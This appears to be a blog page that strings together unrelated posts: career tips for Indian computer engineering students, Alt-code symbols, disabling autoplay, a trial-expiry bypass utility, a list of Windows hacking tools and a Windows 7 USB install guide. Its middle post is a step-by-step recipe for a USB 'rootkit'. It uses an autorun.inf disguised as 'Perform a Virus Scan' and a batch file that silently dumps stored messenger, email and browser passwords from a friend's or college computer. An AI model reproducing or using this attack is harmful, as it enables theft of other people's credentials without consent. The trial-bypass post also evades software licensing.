Seven Steps to become a world class computer Engineer

Reasons for writing this post:
I feel I have not done enough to become a good computer engineer. May be I did not have someone who could guide me properly. We were only the second batch of Computer Engineering at Nirma Institute of Technology, Ahmedabad, so we had no mentors in the industry.
Second reason, may be we were not mature enough.
Third reason, 3 Idiots was not released at that time.
So this post is dedicated to all the fellow computer engineering students (especially in India) who are still having a good time by bunking the classes but not doing good enough to become a world class computer engineer otherwise.
But what can I do?
1. Have the right infrastructure
Get yourself a decent laptop. (I prefer Mac but any decent Dell laptop is also ok)
Get yourself a nice internet connection with highest speed available. (Take a cut from your pocket money if you have to but this is a must)
Get yourself an iPhone (I know it is expensive in India but you will have to use world class gadgets to become world class engineer)
Make your home or hostel room WiFi enabled. (This is not expensive. You will get a decent router in 2-3k.)
If you are not able to do any or all of the above things, don’t worry you can still become a good computer engineer. So hang on and keep reading.
2. Learn to use Google Reader
Google reader will become the best companion of yours for lifetime if you use it properly.
It is nothing but a cool RSS reader from Google using which you can subscribe to blogs to get latest updates and posts. So if you have a gmail account you are ready to go. What? You do not have a gmail account yet!! Go get one right now. Stop reading. Open a gmail account now and come back. I am waiting.
I am still waiting.
Ok great, so you have a gmail account now, good. Watch this video . It explains in plain english how to use google reader.
Software, Web Search Strategies, Wikis, Social Bookmarking, Social Networking, Blogs, Podcasting and Cloud computing on http://www.commoncraft.com/ (Now you understand why I told you get the fastest internet connection available?). You don’t have to see them all at once but do check them all and understand.
Done? Ok so you are ready to become a world class computer engineer now.
Now you understand Google Reader, so it’s time to subscribe to interesting blogs. Subscribe to following blogs.
Techcrunch.com (King of Technology Blogs)
Gigaom.com (Michale Arrington of Techcrunch considers Om as his Guru)
ReadWriteWeb.com
Pluggd.in (Indian Techcrunch)
JoelOnSoftware.com (a must read for programmers)
CodingHorror.com (another must read for programmers)
There are many such blogs but to start with these are ok. You will keep finding other interesting blogs as and when you will come across some.
Getting used to read on computer takes time and patience so just keep reading it.
So I guess we are done with Google Reader part here. This means you have to open up Google Reader as soon you bunk the classes or as soon as you get the time to check your mails.
3. Academic Earth
Do you want to see how professors teach in Harvard and Stanford? Do you want to see how their lectures are conducted? You can now, we were not able to do that in our time.
Go to www.academicearth.org and you will see videos of actual lectures and courses of Harvard, Yale, Stanford. Now you know whose lectures to watch after bunking the classes or after getting back to home.
You do not want to miss the chance of studying in these universities without going to US to giving them millions in fees right? and guess what? Attendance is not compulsory here
4. Learn any web language quickly and start building
I would suggest PHP or Ruby. ASP.NET C# is also fine if you already know something about it.
And start building something on it. It can be anything. But start programming on web now. Most of you are never going to write a program C, C++ or COBOL in your lifetime. I would not advise against learning them though.
After you know something about web programming, read “Getting Real” from 37Signals.
Now again build something using whatever you learned from the above book.
5. Assume you are in Sillicon Valley
I know this sounds little weird but that’s the way it is.
The best of the minds in the world are there and you do not want to miss out on that right?
Thousands of things happen everyday in Sillicon Valley and you can remain updated by reading above blogs I mentioned.
So start feeling the air
6. Start asking why?
When you are attending a lecture or reading anything, have a habit of asking why?
For e.g. Why we have to study “Strength of Materials” when most of us are going to write web applications in PHP or ASP.NET?
When you ask why often, you start understanding the logic, the reason behind doing anything.
Same as they have said in 3 Idiots, don’t learn to get marks but learn to know something, to achieve the excellence. When you start asking why, you start on the right path.
7. Understand computer hardware
Most people thinks this is boring and unnecessary.
May be it is, but it will certainly make you better programmer, even if you will never touch the inside of the computer again.
Basic understanding of hardware is necessary to understand how computer works.
You have to understand following 100% without any doubt in your mind.
How your high level programming code becomes 0s and 1s and execute?
The text which you are reading now is also consisting of 0s and 1s only then how come you are reading the alphabets here?
FYI I am still not 100% clear on this. But I will be one day. Till then I am not a good computer engineer.
I guess I have get you started here.
By following any or all of the above steps you are destined to become world class computer engineer. By no means I am asking you to stop whatever you are doing right now in your college.

Special Symbol

easily make hearts! LIKE THIS ♥♥♥♥
press alt.

hold it there

n in the num pad press 3

U WILL SEE A HEART

wanna write like this¦¦¦¦¦¦
steps:
1. press and hold alt

2. press nos 9,4,5 one after the other
3. release alt



LIKE THIS
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♥----->3
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♣----->5
♠----->6
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These can form using alt

Some Of them I tried ↑ ↓ ╨ = L ب C ك ╘ ï آ ♂ ▀ W d e ╒ ♣ ة خ ╔ ط ╔ ▐ µ ¤ @ ذ ? ن ! ├ ف T ► ة ╡ ♥ │ ▐


Alt + 2,3 = ↨
Alt + 2,1 = §
Alt + 1,2 = ♀
Alt + 3,1 = ▼
Alt + 1,4 = ♫
Alt + 4,5 = 6
Alt + 2,6 = →
Alt + 2,5 = ↓
Alt + 7,8 = N
Alt + 2,8 = ∟
Alt + 1,7 = ◄


How to put a small 'TM' word as display name in msn or icon name ?

for © you can press
alt + 0169

for ®
you can press alt + 0174

for ™
you can press alt + 0153

How To Turn Off Autoplay For CDs And Flash Drives

Click Start, click Run, type GPEDIT.MSC to open Group Policy in the Microsoft Management Console.

•Double-click Computer Configuration, double-click Administrative templates, double-click System, and then click Turn off autoplay.

•The instructions on your screen describe how to configure this setting. Click Properties to display the setting dialog.

•Click Enabled, and choose CD-ROM drives or Any drives, then click OK,

This setting does not prevent Autoplay for music CDs and any drives that connected to the computer

Use Trial Version software forever without Expiration Date

Time Stopper is a small utility program that can be used to run time-limited programs beyond their expiration dates. The program is not intended to be used as an aid to software piracy, rather as a tool for allowing users to evaluate software over a longer period – users are encouraged to register any programs they find of value.

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IMPLEMENTATION
1. Open Time Stopper2. Browse and select .exe of required trial software3. Choose the new date (Any date which occurs in between your trial software time period before expiration, suggestion: set it to two days before trial software expiration date.)4. Choose any time5. Click open software on your selected date
If you wish to create an icon for your modified trial software and do not want to open Time stopper every time then use last button in software to create new icon. open that trial software after that from that newly created icon always otherwise it can expire.

Hack passwords, recent items cookies and everything from your frndz PC using a USB

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Have you ever thought that a Simple USB Drive can be used as a Destructive Tool for Hacking Passwords? Today I will show you how to hack Passwords using an USB Pen Drive.
As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places.
Using these tools and an USB pendrive you can create your own rootkit to hack passwords from your friend’s/college Computer. We need the following tools to create our rootkit.
MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.
Here is a step by step procedure to create the password hacking toolkit.
NOTE: You must temporarily disable your Anti-Virus before following these steps.
1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it
[autorun]open=launch.batACTION= Perform a Virus Scan
save the Notepad as autorun.inf
Now copy the autorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad as launch.bat
Copy the launch.bat file also to your USB drive.
Now your rootkit is ready and you are all set to hack the passwords. You can use this pendrive on your friend’s PC or on your college computer. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This works on Windows 2000, XP and Vista…and the rest is up to you ppl…

Top 10 Windows Hacking Tools-Must Have Collection

This is the Collection of Best Windows Hacking Tools:
1. Cain & Abel – Cain & Abel is a password recovery tool for the Microsoft Windows Operating System. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols.
2. SuperScan – SuperScan is a powerful TCP port scanner, pinger, resolver. SuperScan 4 (Current Version) is a completely-rewritten update of the highly popular Windows port scanning tool, SuperScan.
3. GFI LANguard Network Security Scanner – GFI LANguard N.S.S. is a network vulnerability management solution that scans your network and performs over 15,000 vulnerability assessments. It identifies all possible security threats and provides you with tools to patch and secure your network. GFI LANguard N.S.S. was voted Favorite Commercial Security Tool by NMAP users for 2 years running and has been sold over 200,000 times!
4. Retina – Retina Network Security Scanner, recognised as the industry standard for vulnerability assessment, identifies known security vulnerabilities and assists in prioritising threats for remediation. Featuring fast, accurate, and non-intrusive scanning, users are able to secure their networks against even the most recent of discovered vulnerabilities.
5. SamSpade – SamSpade provides a consistent GUI and implementation for many handy network query tasks. It was designed with tracking down spammers in mind, but can be useful for many other network exploration, administration, and security tasks. It includes tools such as ping, nslookup, whois, dig, traceroute, finger, raw HTTP web browser, DNS zone transfer, SMTP relay check, website search, and more.
6. N-Stealth – N-Stealth is a commercial web server security scanner. It is generally updated more frequently than free web scanners such as whisker and nikto, but you have to pay for the privilege.
7. Solarwinds – Solarwinds contains many network monitoring, discovery and attack tools. The advanced security tools not only test internet security with the SNMP Brute Force Attack and Dictionary Attack utilities but also validate the security on Cisco Routers with the Router Security Check. The Remote TCP Reset remotely display all active sessions on a device and the Password Decryption can decrypt Type 7 Cisco Passwords. The Port Scanner allows testing for open TCP ports across IP Address and port ranges or selection of specific machines and ports.
8. Achilles – The first publicly released general-purpose web application security assessment tool. Achilles acts as a HTTP/HTTPS proxy that allowsa user to intercept, log, and modify web traffic on the fly. Due to a cyber squatter, Achilles is no longer online at its original home of www.Digizen-Security.com…OOPS!
9. CookieDigger - CookieDigger helps identify weak cookie generation and insecure implementations of session management by web applications. The tool works by collecting and analyzing cookies issued by a web application for multiple users. The tool reports on the predictability and entropy of the cookie and whether critical information, such as user name and password, are included in the cookie values.
10. Netcat (The Network SwissArmy Knife) – Netcat was originally a Unix utility which reads and writes data across network connections, using TCP or UDP protocol. It is designed to be a reliable “back-end” tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities.
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Installing Windows 7 From USB

Installing windows versions like xp, vista, se7en from a usb has been a big search term in the google the last few years. The reason is that the most modern laptops comes withought a CD/DVD drive..not all..
It ads oil to the fire, when you come to know that booting from USB is much much faster than CD/DVD..So lets give it a try…
For the hackersorigin ppl i have made an exclusive video in youtube..

http://www.youtube.com/raghuldev

You can do it for any versions of Windows..here we are dealing with Win7

1. Grab a iso of a Windows 7 Release (google is your friend)

2. If you are under vista you can use diskpart method, if you are under xp you wil need a bootsect.exe file and paragon partition manager.

Direct upgrade without any usb:
If you are under vista you can upgrade but be careful because if you use a different version (e.g: vista basic and your project is to upgrade to windows 7 ultimate ) it will NOT work

Under Vista:
Mount the dvd iso image or insert the dvd into the drive..

goto: START >
type


cmd

right click and choose run as administrator (clearly shown in the video)

in the command prompt type:

diskpart

A new window should appear, enter the following commands:

list disk (it will show you the disks attached to your computer, make sure you see your usb in there by checking the amount of space it has)

then yppe in the following commands…

select disk 2 (if 1 is your usb of course otherwise give the right number)

clean
create partition primary
select partition 1
active
format fs=fat32

when the formatting is complete type in

exit

That’s done your usb is ready and bootable, now we have to copy the files from image drive or CD/DVD to USB!!!

in the cmd again excute this command format:

xcopy sourcedrive:\*.*/s/e/f destinationdrive:\

in my case i did it as:

xcopy I:\*.* /s/e/f k:\

This will take some time to complete,once done, start over your computer and set in bios to start from usb

That’s it enjoy your install

Under xp:
Download an iso of windows 7 and extract it usig winrar

For easy use we will extract the content of the iso to C:\W7

Get paragon partition manager (again google is your friend)
Format the usb and make a primary partition and make it active, don’t forget to apply all the changes in paragon so its done right.

use this bootsect, download it extract it somewhere in C:\

go into start then run and enter: cmd

go where bootsect.exe is and type:
bootsect.exe /NT60 X:
(where X is your usb drive letter, replace it with yours)

once that done you should see a message that bootcode has been installed successfully in the target drive.

in the cmd again excute this command:

Code:
xcopy C:\W7\*.* /s/e/f X:\
(Where X is your usb key, replace it with yours)

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